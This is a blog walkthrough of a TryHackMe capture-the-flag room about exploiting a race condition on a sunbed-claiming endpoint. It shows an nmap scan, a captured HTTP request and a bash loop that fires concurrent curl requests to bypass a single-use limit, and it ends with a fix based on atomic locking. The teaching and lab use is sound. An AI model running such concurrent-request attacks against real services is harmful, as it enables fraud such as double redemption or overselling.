DEV Community

Shadrach Adongo
Shadrach Adongo

Posted on

TryHackMe Towel on the Sunbed Walkthrough Medium Race Condition Room

๐ŸŽฏ Room Info

Room Towel on the Sunbed
Difficulty ๐ŸŸก Medium
Category Race Conditions, business logic flaws
Link tryhackme.com (search "Towel on the Sunbed")

๐Ÿ“– What This Room Is About

This room steps away from the usual injection/access-control bugs and into race conditions โ€” a class of vulnerability that exploits timing rather than logic. The app itself might validate everything correctly... as long as requests come in one at a time. The bug appears when multiple requests hit the server simultaneously, and the server doesn't properly lock or serialize the operation in between.

The playful theme: claiming a sunbed with a "towel" before anyone else โ€” but the underlying mechanic is something that shows up in real systems constantly: coupon codes redeemed multiple times, double-spending in payment systems, or limited-stock items being "purchased" more times than actually exist in inventory.

The room covers:

  1. ๐ŸŒ Finding an action with a limited-use constraint (claim, redeem, purchase, etc.)
  2. ๐Ÿ” Understanding how the constraint is (incorrectly) enforced
  3. โšก Firing many requests at once to win the race
  4. ๐Ÿšฉ Exploiting the race condition to bypass the intended limit

๐Ÿง  Skills You'll Practice

  • Recognizing race-condition-prone features (limited actions, single-use tokens, stock/inventory checks)
  • Using tools to send concurrent/parallel HTTP requests
  • Understanding TOCTOU (Time-Of-Check to Time-Of-Use) bugs
  • Reading server responses to confirm a race was won

๐Ÿ› ๏ธ Step-by-Step Walkthrough

1๏ธโƒฃ Scan and explore the target

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
Enter fullscreen mode Exit fullscreen mode

Browse the site and find the feature with a limit attached โ€” in this room, it's claiming a sunbed (only supposed to be claimable once per user, or a limited number available total).

2๏ธโƒฃ Understand the normal flow

Perform the action once, normally, through the browser or with curl, and observe the response:

curl -X POST http://<TARGET_IP>/claim-sunbed \
  -H "Cookie: session=<YOUR_SESSION>" \
  -d "sunbed_id=3"
Enter fullscreen mode Exit fullscreen mode

Note the success response, and try it again immediately โ€” if the app is working "correctly" (from a business logic standpoint), the second attempt should be rejected with something like "already claimed".

๐Ÿ’ก Why this matters: most race condition bugs exist because a check-then-act pattern in the server code isn't atomic. The server checks "is this available?", then โ€” a moment later โ€” marks it "claimed." If two requests both pass the check before either one finishes the "mark as claimed" step, both succeed.

3๏ธโƒฃ Capture the exact request

Use Burp Suite to intercept the claim request and send it to Repeater or Intruder โ€” you'll need the exact request structure (headers, cookies, body) to replay it many times identically.

POST /claim-sunbed HTTP/1.1
Host: <TARGET_IP>
Cookie: session=<YOUR_SESSION>
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

sunbed_id=3
Enter fullscreen mode Exit fullscreen mode

4๏ธโƒฃ Fire the requests concurrently

The key to winning a race condition is sending many copies of the identical request at the same instant, not one after another. A few approaches:

Burp Suite Intruder (Turbo Intruder extension gives the tightest timing):

  • Load the captured request
  • Set the attack type to send the same request many times in a very tight burst

Command-line approach with curl + backgrounding:

for i in $(seq 1 20); do
  curl -s -X POST http://<TARGET_IP>/claim-sunbed \
    -H "Cookie: session=<YOUR_SESSION>" \
    -d "sunbed_id=3" &
done
wait
Enter fullscreen mode Exit fullscreen mode

The & backgrounds each request so they fire near-simultaneously instead of sequentially, and wait blocks until they've all completed.

๐Ÿ’ก Why this matters: a for loop without backgrounding sends requests one after another โ€” way too slow to expose most race conditions. The & + wait pattern (or a proper concurrency tool like Turbo Intruder) is what actually creates the race.

5๏ธโƒฃ Check the results

Look at the responses โ€” if more than one request returned a "success" response for an action that should only succeed once, you've won the race and exploited the vulnerability.

grep -c "success" responses.log
Enter fullscreen mode Exit fullscreen mode

6๏ธโƒฃ Find the flag

Winning the race typically unlocks something โ€” extra currency, an item that shouldn't have been obtainable twice, or an admin-only state โ€” which then reveals the flag.

๐Ÿšฉ Click to reveal: flag

Redacted โ€” swap in your own captured flag if you want to keep a private record.

๐Ÿ“‹ Every Command, In Order

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
curl -X POST http://<TARGET_IP>/claim-sunbed -H "Cookie: session=<YOUR_SESSION>" -d "sunbed_id=3"

# The race โ€” fire many requests concurrently:
for i in $(seq 1 20); do
  curl -s -X POST http://<TARGET_IP>/claim-sunbed \
    -H "Cookie: session=<YOUR_SESSION>" \
    -d "sunbed_id=3" &
done
wait
Enter fullscreen mode Exit fullscreen mode

๐ŸŽ“ Key Takeaways

  • Race conditions break "check-then-act" logic. Any time a server checks a condition and then updates state in two separate steps, there's a window where concurrent requests can both slip through.
  • Sequential testing won't find this bug class. You have to specifically test with true concurrency โ€” one request at a time will always look "safe."
  • This isn't just a CTF trick. Race conditions have caused real financial losses โ€” duplicate coupon redemptions, overselling limited inventory, and even double-spending in early cryptocurrency exchanges all trace back to this exact bug pattern.
  • The fix is atomicity. Proper systems use database-level locking, atomic increment/decrement operations, or unique constraints so the "check" and the "act" happen as one indivisible operation.

Top comments (0)